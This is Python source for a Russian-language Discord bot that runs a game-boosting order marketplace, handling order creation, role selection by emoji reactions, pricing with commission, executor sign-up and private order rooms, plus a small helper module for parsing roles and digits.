str(wallet_name), int(ctx.message.author.id)) update('executors', 'wallet_address', str(wallet_address), int(ctx.message.author.id)) await ctx.send(f"Кошелёк изменен: {wallet_name} - {wallet_address}") @bot.command() async def msg(ctx, order_id, *, text): if int(ctx.channel.id) != 774270476305563679: order = get_order_id(order_id) user_id = int(ctx.message.author.id) if user_id in eval(order['executors_id']): member = bot.get_user(user_id) await channel.send(f"Сообщение от {ctx.message.author.name} по заказу №{order_id}\n\n{text}") else: await member.ctx(f"Ты ошибся заказом(") @bot.command() async def panel(ctx): if int(ctx.channel.id) != 774270476305563679: cerate_customer(int(ctx.message.author.id), str(ctx.message.author.name)) orders = active_orders_customer(int(ctx.message.author.id)) embedVar = discord.Embed(title="Меню заказчика", description=config.user_panel1, color=000000) embedVar.add_field(name="Текущие заказы:", value=orders, inline=True) embedVar.add_field(name="Команды:", value=config.commands, inline=True) await ctx.send(embed=embedVar) @bot.command() async def close(ctx, order_id): if int(ctx.channel.id) != 774270476305563679: order = get_order_id(order_id) user_id = int(ctx.message.author.id) if user_id == order['customer_id'] and order['step'] not in (9, 10, 12, 13): update("orders", "step", 11, int(order_id)) await ctx.send(f"Заказ №{order_id} закрыт.") else: await ctx.send(f"Заказ №{order_id} нельзя закрыть.") @bot.command() async def his(ctx): if int(ctx.channel.id) != 774270476305563679: history = history_customer("customer_id", int(ctx.message.author.id)) embedVar = discord.Embed(title="История заказов", description=history, color=000000) await ctx.send(embed=embedVar) @bot.command() async def link(ctx, link, *, text=''): if int(ctx.channel.id) != 774270476305563679: order = get_order(int(ctx.message.author.id)) if order['step'] == 8: # try: channel_orders = bot.get_channel(774270476305563679) update9("link", link, int(ctx.message.author.id)) if text != '': update9("comment", text, int(ctx.message.author.id)) else: update9("comment", text, int(ctx.message.author.id)) order2 = get_order(int(ctx.message.author.id)) update9("step", 3, int(ctx.message.author.id)) list_roles = system.return_roles(int(ctx.message.author.id)) embedVar = discord.Embed(title=f"Создание заказа №{order2['id']}:", description='Заказ создан в комнате #заказы', color=000000) embedVar.add_field(name="Ключ:", value=order2['lvl_key'], inline=True) embedVar.add_field(name="Цена:", value=str(order2['comission'])+'₽', inline=True) embedVar.add_field(name="Количество людей:", value=order2['cnt_executors'], inline=True) embedVar.add_field(name="Название ключа:", value=order2['key_name'], inline=True) embedVar.add_field(name="Фракция:", value=order2['fraction'], inline=True) embedVar_order = discord.Embed(title="Новый заказ:", description=f"№{order2['id']} - {order2['key_name']}", color=000000) embedVar_order.add_field(name="Количество людей:", value=order2['cnt_executors'], inline=True) embedVar_order.add_field(name="Ключ:", value=order2['lvl_key'], inline=True) embedVar_order.add_field(name="Фракция:", value=order2['fraction'], inline=True) embedVar.add_field(name="Роли:", value=list_roles, inline=True) embedVar_order.add_field(name="Роли:", value=list_roles, inline=False) embedVar.add_field(name="Ссылка:", value=order2['link'], inline=True) embedVar.add_field(name="Комментарий:", value=order2['comment'], inline=True) embedVar.add_field(name="Room:", value='#заказы', inline=True) message = await ctx.send(embed=embedVar) embedVar_order.add_field(name="Комментарий:", value=order2['comment'], inline=True) embedVar_order.add_field(name="Цена:", value=str(order2['price'])+'₽', inline=True) embedVar_order.add_field(name="Действия:", value="✅ - откликнуться", inline=True) msg = await channel_orders.send(f"Заказ №{order2['id']}", embed=embedVar_order) update9("step", 9, int(ctx.message.author.id)) await msg.add_reaction('✅') # except: # await ctx.send('Эта команда не доступна') else: await ctx.send('Комментарий можно оставить позже') # @bot.command() # async def new_order(ctx, key=None, people=None, *args): # if int(ctx.channel.id) != 774270476305563679: # channel_orders = bot.get_channel(774270476305563679) # cerate_customer(int(ctx.message.author.id), str(ctx.message.author.name)) # user_id = int(ctx.message.author.id) # not_conf(user_id) # create_order(user_id, str(key), int(people)) # order = get_order(user_id) # customer = get_customer(user_id) # price_dict = {10: 40, 11: 40, 12: 60, 13: 60, 14: 80, 15: 80, 16: 100, 17: 120, 18: 160, 19: 200, 20: 240} # try: # list_key = key.split('x') # keyy = int(list_key[0]) # cnt_keyy = int(list_key[1]) # try: # price = price_dict[keyy] * cnt_keyy * int(people) # except: # price = price_dict[cnt_keyy] * keyy * int(people) # comission = math.ceil((price * 12 / 100)/10)*10 # except: # price = price_dict[int(key)] * int(people) # comission = math.ceil((price * 12 / 100)/10)*10 # update9("price", price, user_id) # update9("comission", price+comission, user_id) # credit = customer['credit'] + (price+comission) # update("customers", "credit", credit, user_id) # if key != None and people != None: # update9("lvl_key", str(key), user_id) # update9("cnt_executors", int(people), user_id) # cnt_executors = order['cnt_executors'] # list_roles = [] # link = "Ссылка на персонажа не указана" # for arg in args: # if arg[:1] == '@': # integ = system.return_digits(arg) # if integ == []: # list_roles.append(arg[1:]) # elif integ != []: # for i in range(0, integ[0]): # cnt_symbols = len(str(i))+1 # list_roles.append(arg[1:-cnt_symbols]) # else: # link = arg # print(list_roles) # if len(list_roles) > 1: # if (len(list_roles)-1) == int(people): # update9("step", 8, user_id) # embedVar = discord.Embed(title="Создание заказа:", description='Заказ создан в комнате #заказы', color=000000) # embedVar.add_field(name="Ключ:", value=key, inline=True) # embedVar.add_field(name="Количество людей:", value=people, inline=True) # embedVar.add_field(name="Фракция:", value=list_roles[0], inline=True) # embedVar.add_field(name="Роли:", value='\n'.join(list_roles[1:]), inline=False) # embedVar.add_field(name="Ссылка:", value=link, inline=True) # embedVar.add_field(name="Цена:", value=str(price+comission)+'₽', inline=True) # embedVar.add_field(name="Room:", value='#заказы', inline=True) # message = await ctx.send(embed=embedVar) # embedVar_order = discord.Embed(title="Новый заказ:", description=f"№{order['id']}", color=000000) # embedVar_order.add_field(name="Ключ:", value=key, inline=True) # embedVar_order.add_field(name="Количество людей:", value=cnt_executors, inline=True) # embedVar_order.add_field(name="Фракция:", value=list_roles[0], inline=True) # embedVar_order.add_field(name="Роли:", value='\n'.join(list_roles[1:]), inline=False) # # embedVar_order.add_field(name="Ссылка:", value=link, inline=True) # embedVar_order.add_field(name="Цена:", value=str(price+comission)+'₽', inline=True) # embedVar_order.add_field(name="Дейсвия:", value="✅ - откликнуться", inline=True) # msg = await channel_orders.send(f"Заказ №{order['id']}", embed=embedVar_order) # await msg.add_reaction('✅') # roles = {} # for r in list_roles[1:]: # role = {} # list_role = r.split('-') # role['role'] = list_role[0] # role['armor'] = list_role[1] # try: # role['key'] = list_role[2] # except: # role['key'] = 'Без ключа' # roles[str(list_roles[1:].index(r)+1)] = role # update9("roles", str(roles), user_id) # update9("step", 9, user_id) # # print('ok') # # await wait_room(order['id']) # else: # await ctx.send("Число участников не совпадает с количеством ролей") # else: # embedVar = discord.Embed(title=f"Создание заказа №{order['id']}:", description=config.desc_2, color=000000) # embedVar.add_field(name="Ключ:", value=key, inline=True) # embedVar.add_field(name="Цена:", value=str(price+comission)+'₽', inline=True) # embedVar.add_field(name="Количество людей:", value=people, inline=True) # msg = await ctx.send(embed=embedVar) # for emoji in ('1️⃣', '2️⃣', '3️⃣', '4️⃣', '❌'): # await msg.add_reaction(emoji) # update9("step", 1, user_id) # else: # await ctx.send("Указаны не все данные.\nПример: /new_order 12 4\n(/new_order [ключ] [количество участников])") @bot.command() async def new_order(ctx, key=None, people=None, fraction='', role_1='', role_2='', role_3='', role_4='', link='', *, comment='Не указан'): if int(ctx.channel.id) != 774270476305563679: channel_orders = bot.get_channel(774270476305563679) cerate_customer(int(ctx.message.author.id), str(ctx.message.author.name)) user_id = int(ctx.message.author.id) not_conf(user_id) create_order(user_id, str(key), int(people)) order = get_order(user_id) customer = get_customer(user_id) price_dict = {10: 40, 11: 40, 12: 60, 13: 60, 14: 80, 15: 80, 16: 100, 17: 120, 18: 160, 19: 200, 20: 240} try: list_key = key.split('x') keyy = int(list_key[0]) cnt_keyy = int(list_key[1]) try: price = price_dict[keyy] * cnt_keyy * int(people) except: price = price_dict[cnt_keyy] * keyy * int(people) comission = math.ceil((price * 12 / 100)/10)*10 except: price = price_dict[int(key)] * int(people) comission = math.ceil((price * 12 / 100)/10)*10 update9("price", price, user_id) update9("comission", price+comission, user_id) credit = customer['credit'] + (price+comission) update("customers", "credit", credit, user_id) if key != None and people != None: update9("lvl_key", str(key), user_id) update9("cnt_executors", int(people), user_id) cnt_executors = order['cnt_executors'] list_roles = [] print(role_1[1:], role_2[1:], role_3[1:], role_4[1:]) # try: for r, e in zip((role_1[1:], role_2[1:], role_3[1:], role_4[1:]), ['1️⃣', '2️⃣', '3️⃣', '4️⃣']): list_roles.append(e+r) # except: # await ctx.send("Некорректные данные") print(list_roles) print(fraction) if len(list_roles) > 1: if (len(list_roles)) == int(people): if link != '': update9("step", 8, user_id) embedVar = discord.Embed(title="Создание заказа:", description='Заказ создан в комнате #заказы', color=000000) embedVar.add_field(name="Ключ:", value=key, inline=True) embedVar.add_field(name="Количество людей:", value=people, inline=True) embedVar.add_field(name="Фракция:", value=fraction[1:], inline=True) embedVar.add_field(name="Роли:", value='\n'.join(list_roles), inline=False) embedVar.add_field(name="Ссылка:", value=link, inline=True) embedVar.add_field(name="Комментарий:", value=comment, inline=True) embedVar.add_field(name="Цена:", value=str(price+comission)+'₽', inline=True) embedVar.add_field(name="Room:", value='#заказы', inline=True) message = await ctx.send(embed=embedVar) embedVar_order = discord.Embed(title="Новый заказ:", description=f"№{order['id']}", color=000000) embedVar_order.add_field(name="Ключ:", value=key, inline=True) embedVar_order.add_field(name="Количество людей:", value=cnt_executors, inline=True) embedVar_order.add_field(name="Фракция:", value=fraction[1:], inline=True) embedVar_order.add_field(name="Роли:", value='\n'.join(list_roles), inline=False) # embedVar_order.add_field(name="Ссылка:", value=link, inline=True) embedVar_order.add_field(name="Цена:", value=str(price+comission)+'₽', inline=True) embedVar_order.add_field(name="Комментарий:", value=comment, inline=True) embedVar_order.add_field(name="Дейсвия:", value="✅ - откликнуться", inline=True) msg = await channel_orders.send(f"Заказ №{order['id']}", embed=embedVar_order) await msg.add_reaction('✅') roles = {} for r in list_roles: role = {} list_role = r.split('-') role['role'] = list_role[0] role['armor'] = list_role[1] try: role['key'] = list_role[2] update9("key_name", str(list_role[2]), user_id) except: role['key'] = 'Без ключа' roles[str(list_roles.index(r)+1)] = role update9("roles", str(roles), user_id) print('ok1') update9("fraction", str(fraction), user_id) print('ok2') update9("comment", str(comment), user_id) print('ok3') update9("link", str(link), user_id) print('ok4') update9("step", 9, user_id) print('ok15') # print('ok') # await wait_room(order['id']) else: await ctx.send("Ты не указал ссылку на персонажа") else: await ctx.send("Число участников не совпадает с количеством ролей") else: embedVar = discord.Embed(title=f"Создание заказа №{order['id']}:", description=config.desc_2, color=000000) embedVar.add_field(name="Ключ:", value=key, inline=True) embedVar.add_field(name="Цена:", value=str(price+comission)+'₽', inline=True) embedVar.add_field(name="Количество людей:", value=people, inline=True) msg = await ctx.send(embed=embedVar) for emoji in ('1️⃣', '2️⃣', '3️⃣', '4️⃣', '❌'): await msg.add_reaction(emoji) update9("step", 1, user_id) else: await ctx.send("Указаны не все данные.\nПример: /new_order 12 4\n(/new_order [ключ] [количество участников])") @bot.event async def on_raw_reaction_add(payload): user_id = int(payload.user_id) user_name = bot.get_user(user_id) channel_orders = bot.get_channel(774270476305563679) emoji = payload.emoji.name if user_id != 772357764244570122: step_order = get_order(user_id) try: step = step_order['step'] except: step = 9 # print(step) member = bot.get_user(user_id) if emoji in ('☑️', '1️⃣', '2️⃣', '3️⃣', '4️⃣', '5️⃣', '6️⃣', '7️⃣', '8️⃣', '9️⃣', '🔟', '#️⃣', '*️⃣') and step == 2: update9("step", 5, user_id) names = config.keyses order = get_order(user_id) for n in names: if emoji==n: if order['roles'] == None: dict_role = {} role = {} role['key'] = names[n] dict_role['0'] = role update9("roles", str(dict_role), user_id) update9("key_name", str(names[n]), user_id) else: dict_role = eval(order['roles']) role = {} role['key'] = 'Без ключа' dict_role['0'] = role update9("roles", str(dict_role), user_id) update9("key_name", str(names[n]), user_id) pre_message = await member.fetch_message(payload.message_id) await pre_message.delete() order2 = get_order(user_id) list_roles = system.return_roles(user_id) embedVar = discord.Embed(title=f"Создание заказа №{order2['id']}:", description=config.desc_5, color=000000) embedVar.add_field(name="Ключ:", value=order2['lvl_key'], inline=True) embedVar.add_field(name="Цена:", value=str(order2['comission'])+'₽', inline=True) embedVar.add_field(name="Количество людей:", value=order2['cnt_executors'], inline=True) embedVar.add_field(name="Название ключа:", value=order2['key_name'], inline=True) embedVar.add_field(name="Роли:", value=list_roles, inline=True) message = await member.send(embed=embedVar) for emoji in ('1️⃣', '2️⃣', '3️⃣', '❌'): await message.add_reaction(emoji) elif emoji in ('1️⃣', '2️⃣', '3️⃣', '4️⃣') and step == 1: update9("step", 3, user_id) names = config.fractions pre_message = await member.fetch_message(payload.message_id) await pre_message.delete() for n in names: if emoji==n: update9("fraction", names[n], user_id) order = get_order(user_id) embedVar = discord.Embed(title=f"Создание заказа №{order['id']}:", description=config.desc_3, color=000000) embedVar.add_field(name="Ключ:", value=order['lvl_key'], inline=True) embedVar.add_field(name="Цена:", value=str(order['comission'])+'₽', inline=True) embedVar.add_field(name="Количество людей:", value=order['cnt_executors'], inline=True) embedVar.add_field(name="Фракция", value=order['fraction'], inline=True) message = await member.send(embed=embedVar) for emoji in ('➕', '❌'): await message.add_reaction(emoji) elif emoji in ('➕', '✅') and step == 3: order2 = get_order(user_id) update9("cnt_roles", order2['cnt_roles']+1, user_id) if order2['key_name'] == 'Без ключа': update9("step", 2, user_id) else: update9("step", 5, user_id) cnt_executors_fact = order2['cnt_fact_executors'] update9("cnt_fact_executors", int(cnt_executors_fact)+1, user_id) pre_message = await member.fetch_message(payload.message_id) await pre_message.delete() order = get_order(user_id) if order['key_name'] == 'Без ключа': embedVar = discord.Embed(title="Создание заказа:", description=config.desc_1, color=000000) else: embedVar = discord.Embed(title=f"Создание заказа №{order['id']}:", description=config.desc_5, color=000000) embedVar.add_field(name="Ключ:", value=order['lvl_key'], inline=True) embedVar.add_field(name="Цена:", value=str(order['comission'])+'₽', inline=True) embedVar.add_field(name="Количество людей:", value=order['cnt_executors'], inline=True) embedVar.add_field(name="Название ключа:", value=order['key_name'], inline=True) embedVar.add_field(name="Фракция:", value=order['fraction'], inline=True) list_roles = system.return_roles(user_id) embedVar.add_field(name="Роли:", value=list_roles, inline=True) message = await member.send(embed=embedVar) if order['key_name'] == 'Без ключа': for emoji in ('☑️', '1️⃣', '2️⃣', '3️⃣', '4️⃣', '5️⃣', '6️⃣', '7️⃣', '8️⃣', '9️⃣', '🔟', '#️⃣', '*️⃣', '❌'): await message.add_reaction(emoji) else: roles = eval(order['roles']) values_roles = [] print(roles) for role in roles: role1 = roles[role] values_roles.append(role1['role']) print(values_roles) if 'Tank' in values_roles: if 'Heal' in values_roles: if values_roles.count('Dps') == 1: for emoji in ('2️⃣', '❌'): await message.add_reaction(emoji) else: for emoji in ('2️⃣', '❌'): await message.add_reaction(emoji) elif values_roles.count('Dps') == 1: for emoji in ('2️⃣', '3️⃣', '❌'): await message.add_reaction(emoji) elif values_roles.count('Dps') == 2: for emoji in ('3️⃣', '❌'): await message.add_reaction(emoji) else: for emoji in ('2️⃣', '3️⃣', '❌'): await message.add_reaction(emoji) elif 'Heal' in values_roles: if 'Tank' in values_roles: for emoji in ('2️⃣', '❌'): await message.add_reaction(emoji) elif values_roles.count('Dps') == 1: for emoji in ('1️⃣', '2️⃣', '❌'): await message.add_reaction(emoji) elif values_roles.count('Dps') == 2: for emoji in ('1️⃣', '❌'): await message.add_reaction(emoji) else: for emoji in ('1️⃣', '2️⃣', '❌'): await message.add_reaction(emoji) elif values_roles.count('Dps') == 1: for emoji in ('1️⃣', '2️⃣', '3️⃣', '❌'): await message.add_reaction(emoji) elif values_roles.count('Dps') == 2: for emoji in ('1️⃣', '3️⃣', '❌'): await message.add_reaction(emoji) elif emoji in ('1️⃣', '2️⃣', '3️⃣') and step == 5: update9("step", 6, user_id) names = config.roles pre_message = await member.fetch_message(payload.message_id) await pre_message.delete() order = get_order(user_id) if emoji == "1️⃣": roles = order['roles'] for n in names: if emoji==n: try: dict_roles = eval(order['roles']) role = dict_roles['0'] role['role'] = names[n] print(dict_roles) update9("roles", str(dict_roles), user_id) except: dict_role = eval(order['roles']) role = {} role['role'] = names[n] dict_role['0'] = role print(dict_roles) update9("roles", str(dict_role), user_id) embedVar = discord.Embed(title=f"Создание заказа №{order['id']}:", description=config.desc_6_tank, color=000000) embedVar.add_field(name="Ключ:", value=order['lvl_key'], inline=True) embedVar.add_field(name="Цена:", value=str(order['comission'])+'₽', inline=True) embedVar.add_field(name="Количество людей:", value=order['cnt_executors'], inline=True) embedVar.add_field(name="Название ключа:", value=order['key_name'], inline=True) embedVar.add_field(name="Фракция", value=order['fraction'], inline=True) list_roles = system.return_roles(user_id) embedVar.add_field(name="Роли:", value=list_roles, inline=True) message = await member.send(embed=embedVar) for emoji in ('1️⃣', '2️⃣', '3️⃣', '❌'): await message.add_reaction(emoji) else: for n in names: if emoji==n: roles = order['roles'] for n in names: if emoji==n: try: dict_roles = eval(order['roles']) role = dict_roles['0'] role['role'] = names[n] update9("roles", str(dict_roles), user_id) except: dict_role = eval(order['roles']) role = {} role['role'] = names[n] dict_role['0'] = role update9("roles", str(dict_role), user_id) embedVar = discord.Embed(title=f"Создание заказа №{order['id']}:", description=config.desc_6, color=000000) embedVar.add_field(name="Ключ:", value=order['lvl_key'], inline=True) embedVar.add_field(name="Цена:", value=str(order['comission'])+'₽', inline=True) embedVar.add_field(name="Количество людей:", value=order['cnt_executors'], inline=True) embedVar.add_field(name="Название ключа:", value=order['key_name'], inline=True) embedVar.add_field(name="Фракция", value=order['fraction'], inline=True) order2 = get_order(user_id) list_roles = system.return_roles(user_id) embedVar.add_field(name="Роли:", value=list_roles, inline=True) message = await member.send(embed=embedVar) for emoji in ('1️⃣', '2️⃣', '3️⃣', '4️⃣', '5️⃣', '❌'): await message.add_reaction(emoji) elif emoji in ('1️⃣', '2️⃣', '3️⃣', '4️⃣', '5️⃣') and step == 6: update9("step", 3, user_id) order = get_order(user_id) role = eval(order['roles'])['0'] if role['role'] == 'Tank': names = config.armors_tank else: names = config.armors_other pre_message = await member.fetch_message(payload.message_id) await pre_message.delete() cnt_role = order['cnt_executors'] cnt_user = order['cnt_fact_executors'] for n in names: if emoji==n: roles = order['roles'] for n in names: if emoji==n: dict_roles = eval(order['roles']) rol = dict_roles['0'] rol['armor'] = names[n] del dict_roles['0'] dict_roles[f'{cnt_user}'] = rol print(dict_roles) update9("roles", str(dict_roles), user_id) if cnt_role != cnt_user: order2 = get_order(user_id) embedVar = discord.Embed(title=f"Создание заказа №{order2['id']}:", description=config.desc_3, color=000000) embedVar.add_field(name="Ключ:", value=order2['lvl_key'], inline=True) embedVar.add_field(name="Цена:", value=str(order['comission'])+'₽', inline=True) embedVar.add_field(name="Количество людей:", value=order2['cnt_executors'], inline=True) embedVar.add_field(name="Название ключа:", value=order2['key_name'], inline=True) embedVar.add_field(name="Фракция", value=order2['fraction'], inline=True) list_roles = system.return_roles(user_id) embedVar.add_field(name="Роли:", value=list_roles, inline=True) message = await member.send(embed=embedVar) for emoji in ('➕', '❌'): await message.add_reaction(emoji) elif cnt_role == cnt_user: update9("step", 8, user_id) order2 = get_order(user_id) list_roles = system.return_roles(user_id) embedVar = discord.Embed(title=f"Создание заказа №{order2['id']}:", description='Для завершения заказа оставь ссылку и комментарий - /link [ссылка] [комментарий - опционально]', color=000000) embedVar.add_field(name="Ключ:", value=order2['lvl_key'], inline=True) embedVar.add_field(name="Цена:", value=str(order2['comission'])+'₽', inline=True) embedVar.add_field(name="Количество людей:", value=order2['cnt_executors'], inline=True) embedVar.add_field(name="Название ключа:", value=order2['key_name'], inline=True) embedVar.add_field(name="Фракция:", value=order2['fraction'], inline=True) embedVar.add_field(name="Роли:", value=list_roles, inline=True) message = await member.send(embed=embedVar) await wait_room(order2['id']) elif emoji in ('✅', '❌') and step==9: if int(payload.channel_id) == 774270476305563679: pre_message1 = await channel_orders.fetch_message(payload.message_id) order_id = int(pre_message1.content[7:]) update8('message_order', int(payload.message_id), order_id) order = get_order_id(order_id) if order['executors_id'] != None: list_executors = eval(order['executors_id']) else: list_executors = [] executor = get_executor(user_id) if user_id in list_executors: message = await member.send(f"Ты уже зарегистрирован в заказе №{order_id}") elif executor == {}: message = await member.send(f"Тебя еще нет в базе.\nДля регистрации отправь /cab.") elif executor['score'] == 0: message = await member.send(f"У тебя нет роли на сервере.\nДля получения - авторизуйся в Jeeves и напиши /role update на нашем сервере.") else: if len(list_executors) != order['cnt_executors']: embedVar = discord.Embed(title="Подтверждение заказа:", description='Данные заказа', color=000000) embedVar.add_field(name="Ключ:", value=order['lvl_key'], inline=True) embedVar.add_field(name="Количество людей:", value=order['cnt_executors'], inline=True) embedVar.add_field(name="Название ключа:", value=order['key_name'], inline=True) embedVar.add_field(name="Фракция", value=order['fraction'], inline=True) print(int(order['id'])) list_roles = system.return_roles(int(order['id'])) embedVar.add_field(name="Роли:", value=list_roles, inline=True) embedVar.add_field(name="Комментарий:", value=order['comment'], inline=True) embedVar.add_field(name="Цена:", value=str(int(order['price'])/int(order['cnt_executors']))+'₽', inline=True) embedVar.add_field(name="Подвердить заказ:", value=config.desc_9, inline=True) roles = eval(order['roles']) print(len(roles)) if '1' not in roles: message = await member.send(f"Заказ №{order_id}\nПока нет участника с ключем, доступна только роль с ключем.", embed=embedVar) else: message = await member.send(f"Заказ №{order_id}", embed=embedVar) # if '1' in roles: if len(roles) == 1: for emoji in ('1️⃣'): await message.add_reaction(emoji) elif len(roles) == 2: for emoji in ('1️⃣', '2️⃣', '👥'): await message.add_reaction(emoji) elif len(roles) == 3: for emoji in ('1️⃣', '2️⃣', '3️⃣', '👥'): await message.add_reaction(emoji) elif len(roles) == 4: for emoji in ('1️⃣', '2️⃣', '3️⃣', '4️⃣', '👥'): await message.add_reaction(emoji) # else: # await message.add_reaction('1️⃣') else: pre_message = await channel_orders.fetch_message(payload.message_id) await pre_message.delete() order_id = int(pre_message.content[7:]) await channel_orders.send(f"В заказ №{order_id} набрано максимальное количество участников.") else: pre_message1 = await member.fetch_message(payload.message_id) integ = system.return_digits(pre_message1.content) print(integ) ####### тут ошибка if len(integ) == 2: order_id = integ[1] else: order_id = integ[0] print(order_id) order = get_order_id(order_id) customer = bot.get_user(order['customer_id']) if 'группой' in pre_message1.content: update8('group_reg', user_id, order_id) if order['group_reg'] != None: group_reg = eval(order['group_reg']) group_reg.append(user_id) else: group_reg = [] group_reg.append(user_id) update8('group_reg', str(group_reg), order_id) if order['executors_id'] != None: list_executors = eval(order['executors_id']) list_executors.append(user_id) else: list_executors = [] list_executors.append(user_id) update8('executors_id', str(list_executors), order_id) roles = eval(order['roles']) if len(integ) == 2: del roles[str(integ[0])] else: pass update8('roles', str(roles), order_id) channel2 = bot.get_channel(776341478539657267) order2 = get_order_id(order_id) embedVar = discord.Embed(title=f"Ты зарегистрирован в заказ №{order_id}", description='Через 3 минуты закончится сбор команды. Мы тебя уведомим.', color=000000) await member.send(embed=embedVar) if order2['waiting_room'] == None: waiting_room = [] waiting_room.append(user_id) else: waiting_room = eval(order2['waiting_room']) waiting_room.append(user_id) update8("waiting_room", str(waiting_room), order_id) await wait_room(order_id) elif emoji in ('1️⃣', '2️⃣', '3️⃣', '4️⃣', '👥') and step==9: print(user_id, payload.message_id) pre_message = await member.fetch_message(payload.message_id) await pre_message.delete() order_id = int(pre_message.content[7:]) order = get_order_id(order_id) roles = eval(order['roles']) embedVar = discord.Embed(title="Действия:", description=config.desc_8, color=000000) if emoji == '1️⃣': role = roles['1'] item_str = f"{role['role']}-{role['armor']}-{role['key']}" embedVar.add_field(name="Роль:", value=item_str, inline=True) elif emoji == '2️⃣': role = roles['2'] item_str = f"{role['role']}-{role['armor']}-{role['key']}" embedVar.add_field(name="Роль:", value=item_str, inline=True) elif emoji == '3️⃣': role = roles['3'] item_str = f"{role['role']}-{role['armor']}-{role['key']}" embedVar.add_field(name="Роль:", value=item_str, inline=True) elif emoji == '4️⃣': role = roles['4'] item_str = f"{role['role']}-{role['armor']}-{role['key']}" embedVar.add_field(name="Роль:", value=item_str, inline=True) elif emoji == '👥': list_roles = system.return_roles(order['customer_id']) if emoji == '1️⃣': message = await member.send(f"Подтверждение на регистрацию роли №1 в заказе №{order_id}", embed=embedVar) elif emoji == '2️⃣': message = await member.send(f"Подтверждение на регистрацию роли №2 в заказе №{order_id}", embed=embedVar) elif emoji == '3️⃣': message = await member.send(f"Подтверждение на регистрацию роли №3 в заказе №{order_id}", embed=embedVar) elif emoji == '4️⃣': message = await member.send(f"Подтверждение на регистрацию роли №4 в заказе №{order_id}", embed=embedVar) elif emoji == '👥': message = await member.send(f"Подтверждение на регистрацию группой в заказе №{order_id}.\nПодтверждая, ты берешь на себя ответственность за выполнение заказа и выплату отальным исполнителям.", embed=embedVar) await message.add_reaction('✅') await message.add_reaction('❌') elif emoji == '❌' and step in (1, 2, 3, 5, 6, 7, 8): update9("step", 11, user_id) embedVar = discord.Embed(title="Заказ отменен", description=config.desc_7, color=000000) message = await member.send(embed=embedVar) else: pass async def wait_room(order_id): await asyncio.sleep(10) order = get_order_id(int(order_id)) member_customer = bot.get_user(int(order['customer_id'])) try: executors_wait = eval(order['waiting_room']) except: executors_wait = [] if len(executors_wait) == 4: dict_rating = {} for ew in executors_wait: executor = get_executor(ew) dict_rating[ew] = executor['score']+executor['cnt_orders'] maximum = [(d, dict_rating[d]) for d in dict_rating] maximum = sorted(maximum, key=itemgetter(1), reverse=True) executors = list(dict(maximum[:4]).keys()) update8('executors_id', str(executors), order_id) await member_customer.send(f"Заказ №{order_id} собран и начат.") channel2 = bot.get_channel(776341478539657267) room = await channel2.create_text_channel(f'Комната {order_id}') update8("room", room.id, order_id) room_info = bot.get_channel(room.id) for e in executors: member_executor = bot.get_user(e) invitelinknew = await room_info.create_invite(max_uses=1) embedVar = discord.Embed(title=f"Ты зарегистрирован в заказ №{order_id}", description=str(invitelinknew), color=000000) embedVar.add_field(name="Ссылка на персонажа:", value=order['link'], inline=True) await member_executor.send(enbed=embedVar) execut = get_executor(e) balance = int(order['price'])/int(order['cnt_executors']) + execut['balance'] update("executors", "balance", balance, e) channel_orders = bot.get_channel(774270476305563679) pre_message = await channel_orders.fetch_message(str(order['message_order'])) await pre_message.delete() await channel_orders.send(f"В заказ №{order_id} набрано максимальное количество участников.") update8('step', 10, order_id) else: dict_rating = {} for ew in executors_wait: executor = get_executor(ew) dict_rating[ew] = executor['score']+executor['cnt_orders'] maximum = [(d, dict_rating[d]) for d in dict_rating] maximum = sorted(maximum, key=itemgetter(1), reverse=True) executors = list(dict(maximum[:4]).keys()) try: group_reg = eval(order['group_reg']) except: group_reg = [] if executors[0] in group_reg: update8('executors_id', executors[0], order_id) await member_customer.send(f"Заказ №{order_id} собран и начат.") channel2 = bot.get_channel(776341478539657267) room = await channel2.create_text_channel(f'Комната {order_id}') update8("room", room.id, order_id) room_info = bot.get_channel(room.id) member_executor = bot.get_user(executors[0]) invitelinknew = await room_info.create_invite(max_uses=5) embedVar = discord.Embed(title=f"Ты зарегистрирован в заказ №{order_id}. Ниже ссылка-приглашение, ее можно использовать 5 раз", description=str(invitelinknew), color=000000) embedVar.add_field(name="Ссылка на персонажа:", value=order['link'], inline=True) await member_executor.send(embed=embedVar) execut = get_executor(executors[0]) balance = int(order['price']) + execut['balance'] update("executors", "balance", balance, executors[0]) channel_orders = bot.get_channel(774270476305563679) pre_message = await channel_orders.fetch_message(str(order['message_order'])) await pre_message.delete() await channel_orders.send(f"В заказ №{order_id} набрано максимальное количество участников.") update8('step', 10, order_id) elif executors[0] not in group_reg and group_reg != []: update8('executors_id', str(executors), order_id) # member_customer.send(f"Заказ №{order_id} собран и начат.") channel2 = bot.get_channel(776341478539657267) room = await channel2.create_text_channel(f'Комната {order_id}') update8("room", room.id, order_id) room_info = bot.get_channel(room.id) for e in executors: member_executor = bot.get_user(e) invitelinknew = await room_info.create_invite(max_uses=1) embedVar = discord.Embed(title=f"Ты зарегистрирован в заказ №{order_id}", description=str(invitelinknew), color=000000) embedVar.add_field(name="Ссылка на персонажа:", value=order['link'], inline=True) await member_executor.send(enbed=embedVar) execut = get_executor(e) balance = int(order['price'])/int(order['cnt_executors']) + execut['balance'] update("executors", "balance", balance, e) channel_orders = bot.get_channel(774270476305563679) pre_message = await channel_orders.fetch_message(str(order['message_order'])) list_roles = system.return_roles(user_id) embedVar_order = discord.Embed(title="Добор в заказ:", description=f"№{order['id']} - {order['key_name']}", color=000000) embedVar_order.add_field(name="Количество людей:", value=order['cnt_executors'], inline=True) embedVar_order.add_field(name="Фракция:", value=order['fraction'], inline=True) embedVar_order.add_field(name="Оставшиеся роли:", value=list_roles, inline=True) embedVar_order.add_field(name="Комментарий:", value=order['comment'], inline=True) embedVar_order.add_field(name="Цена:", value=str(order['price'])+'₽', inline=True) await pre_message.edit(embed=embedVar_order) else: print('заказ не собран') if __name__ == '__main__': bot.run(config.TOKEN) --- FILE SEPARATOR --- from db import get_order_id, get_order def return_roles(order_id: int): try: order = get_order_id(order_id) print(order) list_roles = [] raw_roles = eval(order['roles']) print(raw_roles) emoji = ['1️⃣', '2️⃣', '3️⃣', '4️⃣'] for r, e in zip(raw_roles, emoji): item = raw_roles[r] try: item_str = f"{e} {item['role']}-{item['armor']}-{item['key']}" except: try: item_str = f"{e} {item['role']}-{item['armor']}" except: item_str = f"{e} {item['role']}" list_roles.append(item_str) roles = '\n'.join(list_roles) except: roles = 'Не указано' return roles def return_digits(content): s = content l = len(s) integ = [] i = 0 while i < l: s_int = '' a = s[i] while '0' <= a <= '9': s_int += a i += 1 if i < l: a = s[i] else: break i += 1 if s_int != '': integ.append(int(s_int)) return integ
